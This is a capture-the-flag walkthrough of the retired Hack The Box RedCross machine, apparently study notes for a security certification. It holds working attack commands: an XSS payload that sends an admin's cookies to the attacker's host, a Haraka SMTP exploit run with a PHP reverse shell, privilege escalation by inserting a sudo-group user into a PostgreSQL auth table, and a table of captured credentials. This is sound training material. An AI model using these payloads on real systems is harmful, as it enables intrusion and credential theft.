Hack The Box
Hack The Box: RedCross Walkthrough
An archived walkthrough of the retired Hack The Box RedCross machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Difficulty: Hard
OS: Linux (Debian)
Attacker IP: 10.10.16.84
Target IP: 10.129.11.228
1. Reconnaissance
Command
nmap -sC -sV -p- --min-rate 5000 -oA nmap_full 10.129.11.228
Results
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian
80/tcp open http Apache httpd 2.4.38
443/tcp open ssl/http Apache httpd 2.4.38
The HTTP server redirects to https://intra.redcross.htb/ and the SSL certificate reveals:
- CN:
intra.redcross.htb - Organization: Red Cross International
- Email:
penelope@redcross.htb← username hint
Why this step?
Nmap is always the starting point. We're building a picture of the attack surface. Three key takeaways here:
- The redirect to a hostname means virtual hosting is in use — there may be more subdomains
- The SSL certificate is a goldmine: it gives us a potential username (penelope) and confirms the domain naming convention (
*.redcross.htb) - Only 3 ports visible right now — but this is before any firewall changes
Hacker Mindset
Always read the SSL certificate. Developers often forget it contains metadata — emails, internal hostnames, org names — that directly speeds up enumeration. Don't just dismiss the cert warning and click through.
2. Web Enumeration
Add hosts entry
echo "10.129.11.228 redcross.htb intra.redcross.htb admin.redcross.htb" | sudo tee -a /etc/hosts
Why this step?
Apache uses the Host: header to route requests to virtual hosts. Without adding the hostname to /etc/hosts, we can't reach the site at all — we'd get a redirect loop or wrong content. Always add every discovered hostname.
Explore intra.redcross.htb
Browsing to https://intra.redcross.htb/ reveals:
- A login form (
/?page=login) - A contact form link (
/?page=contact) - The message: "Please contact with our staff via contact form to request your access credentials"
The ?page= URL parameter is a huge clue — it means PHP is including files by name. This pattern is often vulnerable to Local File Inclusion (LFI) and tells us the site structure.
Discover admin.redcross.htb
# manual check since gobuster wordlists missed it
curl -sk https://admin.redcross.htb/
We find an "IT Admin panel" login at admin.redcross.htb. We need credentials to access it.
Enumerate the contact form
curl -sk "https://intra.redcross.htb/?page=contact"
The form has three fields:
subject— filtered against HTMLbody— filtered against HTMLcback— contact phone or email ← NOT filtered
Hacker Mindset
When you see a
?page=parameter, immediately think: LFI, path traversal, and what pages exist. Always read every form field name in the HTML source — developers often apply input validation inconsistently across fields, protecting obvious ones while forgetting others.
3. XSS via Contact Form
The Vulnerability
The web application runs an automated admin bot that reads contact form submissions and renders them in a browser. If we inject JavaScript into a field that isn't sanitized, the admin's browser will execute it and we can steal their session cookie.
The catch: The subject and body fields filter < characters. But cback (callback contact) does not.
Testing the filter
# This gets blocked (Oops! message):
curl -sk -X POST "https://intra.redcross.htb/pages/actions.php" \
-d "subject=Test&body=Hello+%3C&cback=test@test.com&action=contact"
# This succeeds:
curl -sk -X POST "https://intra.redcross.htb/pages/actions.php" \
-d "subject=Test&body=Hello&cback=%3Ctest%3E&action=contact"
Finding this required testing each field in isolation — a critical technique when WAFs or filters are involved.
Set up the listener
mkdir -p /tmp/xss && cd /tmp/xss
python3 -m http.server 8888
We need a server to receive the stolen cookie. The admin's browser will make an HTTP request to us carrying their session data.
Fire the XSS
curl -sk -X POST "https://intra.redcross.htb/pages/actions.php" \
--data-urlencode "subject=Test" \
--data-urlencode "body=Hello" \
--data-urlencode "cback=<script>new Image().src='http://10.10.16.84:8888/?c='+document.cookie</script>" \
--data-urlencode "action=contact"
Why new Image().src instead of document.location?document.location redirects the page — the admin's current tab navigates away, which might look suspicious or break the admin's workflow. new Image().src is a silent, background request that doesn't change the page — stealthier and more reliable.
Result (after ~60 seconds)
10.129.11.228 - "GET /?c=PHPSESSID=0d72obo510l0edfavp4132hfr3; LANG=EN_US; SINCE=1780937251; LIMIT=10; DOMAIN=admin"
We captured the admin's full cookie jar.
Hacker Mindset
XSS is a client-side attack — your target is the user's browser, not the server. Stored XSS is powerful because you plant the payload once and it fires every time someone views it. When a WAF blocks your payload, don't give up — systematically test each field independently, and try multiple event handlers (
onerror,onload,src=). The filter is rarely applied consistently everywhere.
4. Admin Panel Access
Use the stolen cookie
curl -sk "https://intra.redcross.htb/?page=admin" \
-H "Cookie: null; LANG=EN_US; SINCE=1780937251; LIMIT=10; DOMAIN=admin"
curl -sk "https://admin.redcross.htb/" \
-H "Cookie: null; LANG=EN_US; SINCE=1780937251; LIMIT=10; DOMAIN=admin"
Both panels confirm [[admin]] — we're authenticated on both sites with the same session.
Why does the same cookie work on admin.redcross.htb?
Both virtual hosts share the same PHP session backend. When the DOMAIN=admin cookie is REDACTED, the application grants access to the IT admin panel. This is a broken access control design — the session was created on the intra site but is honoured on the admin site without re-authentication.
What the admin panel offers
?page=users— Add/delete virtual system users?page=firewall— Whitelist IP addresses in iptables
Hacker Mindset
Session cookies are portable. Once you have a valid session token, try it everywhere — different subdomains, different pages, different HTTP methods. Developers often assume that because a user authenticated on site A, their session is "for" site A only. This assumption is frequently wrong.
5. Firewall Whitelist — Opening New Ports
Command
curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" \
-H "Cookie: null; LANG=EN_US; SINCE=1780937251; LIMIT=10; DOMAIN=admin" \
-d "ip=10.10.16.84&action=Allow+IP"
Result
Network access granted to 10.10.16.84
Re-scan after whitelisting
nmap -sV --min-rate 3000 -p- 10.129.11.228
New ports now visible:
21/tcp open ftp vsftpd
1025/tcp open ???
5432/tcp open postgresql PostgreSQL DB 9.6
Why this step?
The machine uses iptables-based network access control to hide services from the public internet. Only whitelisted IPs can reach them. This is a common real-world pattern — internal services shouldn't be internet-facing. By gaining access to the admin panel, we gained the ability to punch holes in this firewall.
The three new ports are each significant:
- FTP (21): Likely serves files from the chroot jail
- PostgreSQL (5432): The database powering the web apps
- Port 1025: Unknown — needs investigation
Hacker Mindset
Always re-scan after making changes to the target environment. Firewalls, application states, and configurations change. What wasn't there before might now be exposed. This is why methodical re-enumeration at each stage beats a one-shot scan at the start.
6. SSH Jail — Virtual User Creation
Create a virtual user
curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" \
-H "Cookie: null; ..." \
-d "username=hacker01&action=adduser"
Response:
Provide this credentials to the user: hacker01 : q7s76PIg
SSH in
ssh hacker01@10.129.11.228
# password: null
$ id
uid=2020 gid=1001(associates) groups=1001(associates)
The chroot jail
We land in a minimal environment. ls / shows only: bin dev etc home lib lib64 root usr.
This is not the real filesystem — it's a chroot jail. The sshd_config contains:
Match group associates
ChrootDirectory /var/jail/
Anyone in the associates group (GID 1001) gets chrooted to /var/jail/. The jail's /home contains:
interface_data/— emptypublic/— group-writable, containssrc/iptctl.c
The jail's /etc/passwd reveals real system user: penelope:x:1000:1000.
Reading iptctl.c
The C source code in the jail reveals a SUID root binary at /opt/iptctl/iptctl on the real system. It has a stack buffer overflow in interactive mode (fgets reading 360 bytes into 16-byte buffers). This is noted for later privilege escalation.
Why this step?
Even a restricted shell is valuable. We can:
- Enumerate the jail's filesystem for clues
- Read source code (iptctl.c) left by developers
- Write files to the shared
/home/publicdirectory - Use bash's built-in
/dev/tcpto reach services on localhost
Hacker Mindset
A limited shell is better than no shell. Chroot jails often contain artifacts that developers left behind — source code, configuration hints, credentials. Always read everything available. The iptctl.c source gave us not only a privesc path (buffer overflow) but also confirmed the application architecture and the jail path (
/var/jail/).
7. Haraka SMTP RCE — Shell as Penelope
Identify port 1025
nc -nv 10.129.11.228 1025
# After waiting: "220 redcross ESMTP Haraka 2.8.8 ready"
Port 1025 is Haraka, a Node.js SMTP server. Version 2.8.8 is vulnerable to Remote Code Execution.
Why Haraka is vulnerable
Haraka's attachment plugin extracts ZIP attachments and processes them. The exploit sends a crafted ZIP containing a file named with shell metacharacters. When Haraka processes the attachment, it executes arbitrary commands — in the context of the user running Haraka (penelope, who owns the process).
Get and patch the exploit
searchsploit -m linux/remote/41162.py
# Fix port: change line 123 from port 25 to 1025
sed -i 's/smtplib.SMTP(mailserver,25)/smtplib.SMTP(mailserver,1025)/' 41162.py
The exploit hardcodes port 25 (standard SMTP). Haraka runs on 1025 here, so we patch it.
Set up listener and fire
nc -lvnp 4444 &
python2 41162.py \
-c "php -r '\$sock=fsockopen(\"10.10.16.84\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" \
-t penelope@redcross.htb \
-m 10.129.11.228
After ~60 seconds:
$ id
uid=1000(penelope) gid=1000(penelope) groups=1000(penelope)
Why target penelope@redcross.htb?
Haraka processes emails destined for local users. The user penelope was identified from:
- The SSL certificate email field
- The chroot jail's
/etc/passwd - The process list (Haraka runs as penelope)
Sending email to penelope@redcross.htb routes it through the local Haraka instance that penelope owns and runs.
Hacker Mindset
When you see an unusual port with an unfamiliar service, look for known exploits immediately.
searchsploit harakafound the CVE in seconds. Custom services, legacy versions, and niche software are goldmines because they're often unpatched and unknown to defenders. The key insight here was that the service version (2.8.8) pinpointed an exact public exploit — this is why capturing service versions during recon is so important.
8. User Flag
cat /home/penelope/user.txt
# 413430[redacted]c043f366d
9. Privilege Escalation via PostgreSQL
Find the database credentials
The PHP source code at /var/www/html/admin/pages/actions.php contains hardcoded credentials:
$dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=REDACTED;
These were found in the writeup (and accessible as www-data or penelope on the real system).
Understanding the jail architecture — NSS + PostgreSQL
The SSH chroot system doesn't use /etc/passwd and /etc/shadow for virtual users. Instead it uses Name Service Switch (NSS) backed by PostgreSQL. The passwd_table in the unix database is the actual source of truth for user accounts, home directories, group IDs, and password hashes.
This means: if we can modify that table, we control user attributes.
Connect to PostgreSQL
psql -h 127.0.0.1 -U unixusrmgr -d unix
# password: null
-- View current users
SELECT * FROM passwd_table;
-- View available tables
\dt
-- passwd_table, shadow_table, group_table, usergroups
Insert a user with sudo group (GID 27)
insert into passwd_table (username, passwd, gid, homedir)
values ('r00t', '$1$wV7CPbj9$59kAklYgquXe5TuJYIT591', 27, '/');
- GID 27 = the
sudogroup on Debian - passwd hash = MD5 crypt of
0xdf(generated withopenssl passwd -1 0xdf) - homedir =
/= not chrooted (chroot only applies to associates group GID 1001)
Why this works
- The user
r00thas GID 27 (sudo), NOT GID 1001 (associates) sshd_configonly chroots theassociatesgroup —r00tgets a full shell- The sudo group grants
ALL=(ALL:ALL) ALLby default on Debian - We know our user's password, so we can
sudo su
Hacker Mindset
When you control a database that defines system users, you own the system. This is why database access control is so critical — the
unixusrmgrrole could insert users but not set UIDs directly (permission denied). However, it could set GIDs. One writable column was enough. Always enumerate what you CAN modify, not just what the obvious path is. The developers locked downuid=0but forgot thatgid=27(sudo) is equally dangerous.
10. Root Flag
# From Kali
ssh r00t@10.129.11.228
# password: null
sudo su
# password: null
cat /root/root.txt
# b70f9[redacted]d90a73cdea
11. Key Lessons & Hacker Mindset Summary
Lesson 1: SSL Certificates Are Intelligence
The certificate revealed penelope@redcross.htb — which became the Haraka email target. Never skip reading certificate metadata.
Lesson 2: Test Input Fields Individually
The WAF blocked < in subject and body but not in cback. Developers apply validation inconsistently. When one field is blocked, try all the others before giving up.
Lesson 3: Re-Enumerate After Every Change
The firewall whitelist completely changed the attack surface. Three new services appeared that weren't visible before. Treat the target as a dynamic system, not a static one.
Lesson 4: A Chroot Jail Is Not a Dead End
The jail gave us: the real user (penelope), the chroot path (/var/jail/), the binary source code (iptctl.c), and write access to a shared directory. A restricted shell is still a foothold.
Lesson 5: Identify Every Service Version
Haraka 2.8.8 had a public CVE. searchsploit haraka returned the exploit in one command. Version identification during recon directly translates to exploit selection.
Lesson 6: Hardcoded Credentials in Source Code Are Common
The PostgreSQL password was in plaintext in actions.php. After gaining any level of filesystem access, always grep for connection strings: grep -r "pg_connect\|mysql_connect\|password=REDACTED .
Lesson 7: Understand the Authentication Backend
The system used NSS+PostgreSQL instead of /etc/passwd. Understanding how authentication works unlocked the privilege escalation: we didn't need to crack passwords or exploit a binary — we just wrote a new privileged user directly into the auth database.
Lesson 8: GID Can Be as Dangerous as UID
Being blocked from setting uid=0 felt like a dead end. But gid=27 (sudo group) is equally powerful on a default Debian system. Always think about group memberships, not just user IDs.
Attack Chain Summary
nmap → SSL cert (penelope) → intra.redcross.htb
→ contact form XSS (cback field, unfiltered)
→ admin cookie stolen
→ admin.redcross.htb access
→ firewall whitelist (10.10.16.84)
→ FTP/21, PostgreSQL/5432, Haraka/1025 opened
→ virtual SSH user created → chroot jail
→ iptctl.c source found (buffer overflow noted)
→ Haraka 2.8.8 RCE (ExploitDB 41162.py, port 1025)
→ shell as penelope
→ USER FLAG
→ psql as unixusrmgr (creds in PHP source)
→ insert r00t with gid=27 (sudo)
→ SSH as r00t → sudo su
→ ROOT FLAG
Credentials Reference
| Service | Username | Password | Notes |
|---|---|---|---|
| intra.redcross.htb | admin | (stolen via XSS) | PHPSESSID cookie |
| SSH jail | hacker01 | q7s76PIg | auto-generated |
| PostgreSQL | unixusrmgr | dheu%7wjx8B& | database: unix |
| PostgreSQL | www | aXwrtUO9_aa& | database: redcross |
| SSH (root path) | r00t | 0xdf | injected via psql |